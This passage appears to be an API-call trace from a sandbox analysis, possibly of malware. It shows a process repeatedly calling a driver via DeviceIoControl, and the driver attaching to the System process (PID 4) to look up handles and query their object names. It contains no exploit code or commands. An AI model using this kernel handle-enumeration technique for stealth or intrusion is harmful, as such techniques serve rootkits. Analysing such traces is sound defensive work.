nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.555] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.555] PsAcquireProcessExitSynchronization () returned 0x0 [0119.555] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.555] ObReferenceObjectByHandle (in: Handle=0xffffffff80000608, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002965af0, HandleInformation=0x0) returned 0x0 [0119.555] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.555] PsReleaseProcessExitSynchronization () returned 0x2 [0119.555] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.555] ObQueryNameString (in: Object=0xfffffa8002965af0, ObjectNameInfo=0xfffffa80019fd044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019fd044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.555] ObfDereferenceObject (Object=0xfffffa8002965af0) returned 0x2 [0119.555] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.555] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.555] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.555] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0xf8, lpOverlapped=0x0) returned 1 [0119.555] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.556] PsAcquireProcessExitSynchronization () returned 0x0 [0119.556] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.556] ObReferenceObjectByHandle (in: Handle=0xffffffff80000610, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800d41cd20, HandleInformation=0x0) returned 0x0 [0119.556] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.556] PsReleaseProcessExitSynchronization () returned 0x2 [0119.556] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.556] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019fe044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80019fe044, ReturnLength=0xfffff88004435508) returned 0x0 [0119.556] ObfDereferenceObject (Object=0xfffffa800d41cd20) returned 0x12 [0119.556] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.556] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.556] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.556] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.556] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.556] PsAcquireProcessExitSynchronization () returned 0x0 [0119.556] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.556] ObReferenceObjectByHandle (in: Handle=0xffffffff8000061c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80038d0900, HandleInformation=0x0) returned 0x0 [0119.556] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.556] PsReleaseProcessExitSynchronization () returned 0x2 [0119.556] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.556] ObQueryNameString (in: Object=0xfffffa80038d0900, ObjectNameInfo=0xfffffa80019ff044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019ff044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.556] ObfDereferenceObject (Object=0xfffffa80038d0900) returned 0x2 [0119.556] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.556] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.556] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.556] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.556] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.556] PsAcquireProcessExitSynchronization () returned 0x0 [0119.556] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.556] ObReferenceObjectByHandle (in: Handle=0xffffffff80000620, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800342a5e0, HandleInformation=0x0) returned 0x0 [0119.556] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.556] PsReleaseProcessExitSynchronization () returned 0x2 [0119.556] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.557] ObQueryNameString (in: Object=0xfffffa800342a5e0, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.557] ObfDereferenceObject (Object=0xfffffa800342a5e0) returned 0x2 [0119.557] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.557] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.557] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.557] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.557] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.557] PsAcquireProcessExitSynchronization () returned 0x0 [0119.557] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.557] ObReferenceObjectByHandle (in: Handle=0xffffffff8000062c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001f17700, HandleInformation=0x0) returned 0x0 [0119.557] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.557] PsReleaseProcessExitSynchronization () returned 0x2 [0119.557] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.557] ObQueryNameString (in: Object=0xfffffa8001f17700, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.557] ObfDereferenceObject (Object=0xfffffa8001f17700) returned 0x2 [0119.557] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.557] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.557] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.557] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.557] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.557] PsAcquireProcessExitSynchronization () returned 0x0 [0119.557] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.557] ObReferenceObjectByHandle (in: Handle=0xffffffff80000630, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002149310, HandleInformation=0x0) returned 0x0 [0119.557] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.557] PsReleaseProcessExitSynchronization () returned 0x2 [0119.557] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.557] ObQueryNameString (in: Object=0xfffffa8002149310, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.557] ObfDereferenceObject (Object=0xfffffa8002149310) returned 0x2 [0119.558] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.558] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.558] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.558] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.558] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.558] PsAcquireProcessExitSynchronization () returned 0x0 [0119.558] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.558] ObReferenceObjectByHandle (in: Handle=0xffffffff80000638, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80034ff3a0, HandleInformation=0x0) returned 0x0 [0119.558] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.558] PsReleaseProcessExitSynchronization () returned 0x2 [0119.558] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.558] ObQueryNameString (in: Object=0xfffffa80034ff3a0, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.558] ObfDereferenceObject (Object=0xfffffa80034ff3a0) returned 0x2 [0119.558] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.558] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.558] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.558] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.558] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.558] PsAcquireProcessExitSynchronization () returned 0x0 [0119.558] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.558] ObReferenceObjectByHandle (in: Handle=0xffffffff8000063c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001fe24c0, HandleInformation=0x0) returned 0x0 [0119.558] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.558] PsReleaseProcessExitSynchronization () returned 0x2 [0119.558] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.558] ObQueryNameString (in: Object=0xfffffa8001fe24c0, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.558] ObfDereferenceObject (Object=0xfffffa8001fe24c0) returned 0x2 [0119.559] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.559] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.559] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.559] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.559] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.559] PsAcquireProcessExitSynchronization () returned 0x0 [0119.559] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.559] ObReferenceObjectByHandle (in: Handle=0xffffffff80000640, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800214a3c0, HandleInformation=0x0) returned 0x0 [0119.559] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.559] PsReleaseProcessExitSynchronization () returned 0x2 [0119.559] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.559] ObQueryNameString (in: Object=0xfffffa800214a3c0, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.559] ObfDereferenceObject (Object=0xfffffa800214a3c0) returned 0x2 [0119.559] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.559] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.559] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.559] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.559] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.559] PsAcquireProcessExitSynchronization () returned 0x0 [0119.559] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.559] ObReferenceObjectByHandle (in: Handle=0xffffffff80000648, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80034279a0, HandleInformation=0x0) returned 0x0 [0119.559] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.559] PsReleaseProcessExitSynchronization () returned 0x2 [0119.559] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.559] ObQueryNameString (in: Object=0xfffffa80034279a0, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.559] ObfDereferenceObject (Object=0xfffffa80034279a0) returned 0x2 [0119.560] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.560] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.560] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.560] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.560] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.560] PsAcquireProcessExitSynchronization () returned 0x0 [0119.560] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.560] ObReferenceObjectByHandle (in: Handle=0xffffffff80000650, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800214b460, HandleInformation=0x0) returned 0x0 [0119.560] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.560] PsReleaseProcessExitSynchronization () returned 0x2 [0119.560] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.560] ObQueryNameString (in: Object=0xfffffa800214b460, ObjectNameInfo=0xfffffa8001a0f044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0f044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.560] ObfDereferenceObject (Object=0xfffffa800214b460) returned 0x2 [0119.560] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.560] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.560] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.560] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.560] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.560] PsAcquireProcessExitSynchronization () returned 0x0 [0119.560] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.560] ObReferenceObjectByHandle (in: Handle=0xffffffff80000658, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002502050, HandleInformation=0x0) returned 0x0 [0119.560] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.560] PsReleaseProcessExitSynchronization () returned 0x2 [0119.560] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.560] ObQueryNameString (in: Object=0xfffffa8002502050, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.560] ObfDereferenceObject (Object=0xfffffa8002502050) returned 0x2 [0119.560] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.560] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.560] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.560] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.560] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.560] PsAcquireProcessExitSynchronization () returned 0x0 [0119.560] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.560] ObReferenceObjectByHandle (in: Handle=0xffffffff80000660, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800214c4f0, HandleInformation=0x0) returned 0x0 [0119.561] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.561] PsReleaseProcessExitSynchronization () returned 0x2 [0119.561] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.561] ObQueryNameString (in: Object=0xfffffa800214c4f0, ObjectNameInfo=0xfffffa800388e044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800388e044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.561] ObfDereferenceObject (Object=0xfffffa800214c4f0) returned 0x2 [0119.561] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.561] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.561] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.561] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.561] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.561] PsAcquireProcessExitSynchronization () returned 0x0 [0119.561] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.561] ObReferenceObjectByHandle (in: Handle=0xffffffff8000066c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800289e960, HandleInformation=0x0) returned 0x0 [0119.561] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.561] PsReleaseProcessExitSynchronization () returned 0x2 [0119.561] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.561] ObQueryNameString (in: Object=0xfffffa800289e960, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.561] ObfDereferenceObject (Object=0xfffffa800289e960) returned 0x2 [0119.561] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.561] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.561] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.561] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.561] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.561] PsAcquireProcessExitSynchronization () returned 0x0 [0119.561] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.561] ObReferenceObjectByHandle (in: Handle=0xffffffff80000670, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800214e590, HandleInformation=0x0) returned 0x0 [0119.561] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.561] PsReleaseProcessExitSynchronization () returned 0x2 [0119.561] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.561] ObQueryNameString (in: Object=0xfffffa800214e590, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.561] ObfDereferenceObject (Object=0xfffffa800214e590) returned 0x2 [0119.561] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.562] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.562] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.562] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.562] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.562] PsAcquireProcessExitSynchronization () returned 0x0 [0119.562] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.562] ObReferenceObjectByHandle (in: Handle=0xffffffff80000674, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, 